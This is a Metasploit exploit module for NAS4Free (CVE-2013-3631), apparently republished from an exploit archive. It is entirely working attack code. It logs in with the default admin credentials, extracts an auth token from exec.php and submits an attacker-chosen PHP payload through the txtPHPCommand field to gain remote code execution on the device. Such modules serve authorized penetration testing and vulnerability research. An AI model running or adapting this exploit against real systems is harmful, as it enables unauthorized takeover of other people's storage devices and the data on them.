NAS4Free Arbitrary Remote Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
require 'rexml/document'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NAS4Free Arbitrary Remote Code Execution',  
'Description' => %q{  
NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have  
the code executed remotely. This module was successfully tested against NAS4Free version  
9.1.0.1.804. Earlier builds are likely to be vulnerable as well.  
},  
'Author' => [  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-3631'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']  
],  
'Payload' =>  
{  
'Space' => 21244,  
'DisableNops' => true,  
'BadChars' => ''  
},  
'Targets' =>  
[  
[ 'Automatic Target', { } ]  
],  
'Privileged' => true,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DisclosureDate' => 'Oct 30 2013',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])  
], self.class)  
end  
  
def exploit  
init = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/')  
})  
  
sess = init.get_cookies  
  
post = {  
'username' => datastore["USERNAME"],  
'password' => datastore["PASSWORD"]  
}  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/login.php'),  
'vars_post' => post,  
'cookie' => sess  
})  
  
if !login or login.code != 302  
fail_with("Login failed")  
end  
  
exec_resp = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/exec.php'),  
'cookie' => sess  
})  
  
if !exec_resp or exec_resp.code != 200  
fail_with('Error getting auth token from exec.php')  
end  
  
authtoken = ''  
#The html returned is not well formed, so I can't parse it with rexml  
exec_resp.body.each_line do |line|  
next if line !~ /authtoken/  
authtoken = line  
end  
  
doc = REXML::Document.new authtoken  
input = doc.root  
  
if !input  
fail_with('Error getting auth token')  
end  
  
token = input.attributes["value"]  
  
data = Rex::MIME::Message.new  
data.add_part('', nil, nil, 'form-data; name="txtCommand"')  
data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')  
data.add_part('', nil, nil, 'form-data; name="dlPath"')  
data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')  
data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')  
#data.add_part(token, nil, nil, 'form-data; name="authtoken"')  
  
#I need to build the last data part by hand due to a bug in rex  
data_post = data.to_s  
data_post = data_post[0..data_post.length-data.bound.length-7]  
  
data_post << "\r\n--#{data.bound}"  
data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"  
data_post << token  
data_post << "\r\n--#{data.bound}--\r\n\r\n"  
  
resp = send_request_raw({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/exec.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data_post,  
'cookie' => sess  
})  
end  
end  
`